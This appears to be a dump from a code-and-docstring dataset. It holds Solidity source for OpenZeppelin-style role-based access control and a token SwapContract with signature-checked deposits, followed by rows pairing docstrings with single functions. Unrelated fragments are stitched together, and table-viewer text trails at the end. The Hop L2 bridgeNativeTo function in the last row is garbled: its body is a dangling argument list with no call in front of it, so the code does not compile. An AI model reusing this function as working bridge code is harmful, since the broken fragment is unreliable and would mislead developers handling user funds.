return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.1/AccessControlEnumerable
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
}
// File: swapContract.sol
contract SwapContract is AccessControlEnumerable
{
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
uint256 public maxSwapAmountPerTx;
uint256 public minSwapAmountPerTx;
uint128 [3] public swapRatios;
bool [3] public swapEnabled;
mapping(address => bool) public swapLimitsSaved;
mapping(address => uint256 [3]) swapLimits;
event Deposit(address user, uint256 amount, uint256 amountToReceive, address newAddress);
event TokensClaimed(address recipient, uint256 amount);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),
"Caller is not in owner role"
);
_;
}
/**
* @dev throws if transaction sender is not in owner or validator role
*/
modifier onlyOwnerAndValidator() {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()) || hasRole(VALIDATOR_ROLE, _msgSender()),
"Caller is not in owner or validator role"
);
_;
}
/**
* @dev Constructor of contract
* @param _tokenAddress Token contract address
* @param validatorAddress Swap limits validator address
* @param _swapRatios Swap ratios array
* @param _swapEnabled Array that represents if swap enabled for ratio
* @param _minSwapAmountPerTx Minimum token amount for swap per transaction
* @param _maxSwapAmountPerTx Maximum token amount for swap per transaction
*/
constructor(
IERC20 _tokenAddress,
address validatorAddress,
uint128 [3] memory _swapRatios,
bool [3] memory _swapEnabled,
uint256 _minSwapAmountPerTx,
uint256 _maxSwapAmountPerTx
)
{
swapRatios = _swapRatios;
swapEnabled = _swapEnabled;
maxSwapAmountPerTx = _maxSwapAmountPerTx;
minSwapAmountPerTx = _minSwapAmountPerTx;
tokenAddress = _tokenAddress;
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(VALIDATOR_ROLE, validatorAddress);
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to deposit tokens for the first time.
* @param amountToSend Maximum amount of tokens to send
* @param newAddress Address in the blockchain where the user wants to get tokens
* @param signedAddress Signed Address
* @param signedSwapLimits Signed swap limits
* @param signature Signed address + swapLimits keccak hash
*/
function depositWithSignature(
uint256 amountToSend,
address newAddress,
address signedAddress,
uint256 [3] memory signedSwapLimits,
bytes memory signature
) external
{
address sender = _msgSender();
uint256 senderBalance = tokenAddress.balanceOf(sender);
require(senderBalance >= amountToSend, "swapContract: Insufficient balance");
require(amountToSend >= minSwapAmountPerTx, "swapContract: Less than required minimum of tokens requested");
require(amountToSend <= maxSwapAmountPerTx, "swapContract: Swap limit per transaction exceeded");
require(sender == signedAddress, "swapContract: Signed and sender address does not match");
require(!swapLimitsSaved[sender], "swapContract: Swap limits already saved");
bytes32 hashedParams = keccak256(abi.encodePacked(signedAddress, signedSwapLimits));
address validatorAddress = ECDSA.recover(ECDSA.toEthSignedMessageHash(hashedParams), signature);
require(isValidator(validatorAddress), "swapContract: Invalid swap limits validator");
(uint256[3] memory swapLimitsNew, uint256 amountToPay, uint256 amountToReceive) = calculateAmountsAfterSwap(
signedSwapLimits, amountToSend, true
);
require(amountToPay > 0, "swapContract: Swap limit reached");
require(amountToReceive > 0, "swapContract: Amount to receive is zero");
swapLimits[sender] = swapLimitsNew;
swapLimitsSaved[sender] = true;
TransferHelper.safeTransferFrom(address(tokenAddress), sender, address(this), amountToPay);
emit Deposit(sender, amountToPay, amountToReceive, newAddress);
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to deposit tokens
* if the swap limits have been already saved into the contract storage
* @param amountToSend Maximum amount of tokens to send
* @param newAddress Address in the blockchain where the user wants to get tokens
*/
function deposit(
uint256 amountToSend,
address newAddress
) external
{
address sender = _msgSender();
uint256 senderBalance = tokenAddress.balanceOf(sender);
require(senderBalance >= amountToSend, "swapContract: Not enough balance");
require(amountToSend >= minSwapAmountPerTx, "swapContract: Less than required minimum of tokens requested");
require(amountToSend <= maxSwapAmountPerTx, "swapContract: Swap limit per transaction exceeded");
require(swapLimitsSaved[sender], "swapContract: Swap limits not saved");
(uint256[3] memory swapLimitsNew, uint256 amountToPay, uint256 amountToReceive) = calculateAmountsAfterSwap(
swapLimits[sender], amountToSend, true
);
require(amountToPay > 0, "swapContract: Swap limit reached");
require(amountToReceive > 0, "swapContract: Amount to receive is zero");
swapLimits[sender] = swapLimitsNew;
TransferHelper.safeTransferFrom(address(tokenAddress), sender, address(this), amountToPay);
emit Deposit(sender, amountToPay, amountToReceive, newAddress);
}
/**
* @dev Calculates actual amount to pay, amount to receive and new swap limits after swap
* @param _swapLimits Swap limits array
* @param amountToSend Maximum amount of tokens to send
* @param checkIfSwapEnabled Check if swap enabled for a ratio
* @return swapLimitsNew Swap limits after deposit is processed
* @return amountToPay Actual amount of tokens to pay (amountToPay <= amountToSend)
* @return amountToReceive Amount of tokens to receive after deposit is processed
*/
function calculateAmountsAfterSwap(
uint256[3] memory _swapLimits,
uint256 amountToSend,
bool checkIfSwapEnabled
) public view returns (
uint256[3] memory swapLimitsNew, uint256 amountToPay, uint256 amountToReceive)
{
amountToReceive = 0;
uint256 remainder = amountToSend;
for (uint256 i = 0; i < _swapLimits.length; i++) {
if (checkIfSwapEnabled && !swapEnabled[i] || swapRatios[i] == 0) {
continue;
}
uint256 swapLimit = _swapLimits[i];
if (remainder <= swapLimit) {
amountToReceive += remainder / swapRatios[i];
_swapLimits[i] -= remainder;
remainder = 0;
break;
} else {
amountToReceive += swapLimit / swapRatios[i];
remainder -= swapLimit;
_swapLimits[i] = 0;
}
}
amountToPay = amountToSend - remainder;
swapLimitsNew = _swapLimits;
}
/**
* @dev Claims the deposited tokens
* @param recipient Tokens recipient
* @param amount Tokens amount
*/
function claimTokens(address recipient, uint256 amount) external onlyOwner
{
uint256 balance = tokenAddress.balanceOf(address(this));
require(balance > 0, "swapContract: Token balance is zero");
require(balance >= amount, "swapContract: Not enough balance to claim");
if (amount == 0) {
amount = balance;
}
TransferHelper.safeTransfer(address(tokenAddress), recipient, amount);
emit TokensClaimed(recipient, amount);
}
/**
* @dev Changes requirement for minimal token amount to deposit
* @param _minSwapAmountPerTx Amount of tokens
*/
function setMinSwapAmountPerTx(uint256 _minSwapAmountPerTx) external onlyOwner {
minSwapAmountPerTx = _minSwapAmountPerTx;
}
/**
* @dev Changes requirement for maximum token amount to deposit
* @param _maxSwapAmountPerTx Amount of tokens
*/
function setMaxSwapAmountPerTx(uint256 _maxSwapAmountPerTx) external onlyOwner {
maxSwapAmountPerTx = _maxSwapAmountPerTx;
}
/**
* @dev Changes swap ratio
* @param index Ratio index
* @param ratio Ratio value
*/
function setSwapRatio(uint128 index, uint128 ratio) external onlyOwner {
swapRatios[index] = ratio;
}
/**
* @dev Enables swap for a ratio
* @param index Swap rate index
*/
function enableSwap(uint128 index) external onlyOwner {
swapEnabled[index] = true;
}
/**
* @dev Disables swap for a ratio
* @param index Swap rate index
*/
function disableSwap(uint128 index) external onlyOwner {
swapEnabled[index] = false;
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Account address to check
*/
function isOwner(address account) public view returns (bool) {
return hasRole(DEFAULT_ADMIN_ROLE, account);
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Account address to check
*/
function isValidator(address account) public view returns (bool) {
return hasRole(VALIDATOR_ROLE, account);
}
/**
* @dev Returns account swap limits array
* @param account Account address
* @return Account swap limits array
*/
function swapLimitsArray(address account) external view returns (uint256[3] memory)
{
return swapLimits[account];
}
/**
* @dev Returns array that represents if swap enabled for ratio
* @return Array that represents if swap enabled for ratio
*/
function swapEnabledArray() external view returns (bool[3] memory)
{
return swapEnabled;
}
/**
* @dev Updates swap limits for account
* @param account Account address
* @param _swapLimits Swap limits array
*/
function updateSwapLimits(address account, uint256[3] memory _swapLimits) external onlyOwnerAndValidator {
swapLimits[account] = _swapLimits;
swapLimitsSaved[account] = true;
}
}
|
Changes requirement for minimal token amount to deposit _minSwapAmountPerTx Amount of tokens/
|
function setMinSwapAmountPerTx(uint256 _minSwapAmountPerTx) external onlyOwner {
minSwapAmountPerTx = _minSwapAmountPerTx;
}
| 522,466
|
./partial_match/1/0x3a23F943181408EAC424116Af7b7790c94Cb97a5/sources/src/bridges/hop/l2/HopImplL2.sol
|
function to handle Native bridging to receipent via Hop-L2-Bridge This method is payable because the caller is doing token transfer and briding operation receiverAddress The address receiving funds at the destination hopAMM AMM address of Hop on L2 amount The amount being bridged toChainId The chainId of the destination chain bonderFee fees passed to relayer amountOutMin The minimum amount received after attempting to swap in the destination AMM market. 0 if no swap is intended. deadline The deadline for swapping in the destination AMM market. 0 if no swap is intended. amountOutMinDestination Minimum amount expected to be received or bridged to destination deadlineDestination deadline for bridging to destination/ token address might not be indication thats why passed through extraData perform bridging
|
function bridgeNativeTo(
address receiverAddress,
address hopAMM,
uint256 amount,
uint256 toChainId,
uint256 bonderFee,
uint256 amountOutMin,
uint256 deadline,
uint256 amountOutMinDestination,
uint256 deadlineDestination,
bytes32 metadata
) external payable {
toChainId,
receiverAddress,
amount,
bonderFee,
amountOutMin,
deadline,
amountOutMinDestination,
deadlineDestination
);
emit SocketBridge(
amount,
NATIVE_TOKEN_ADDRESS,
toChainId,
HopIdentifier,
msg.sender,
receiverAddress,
metadata
);
}
| 11,003,508
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.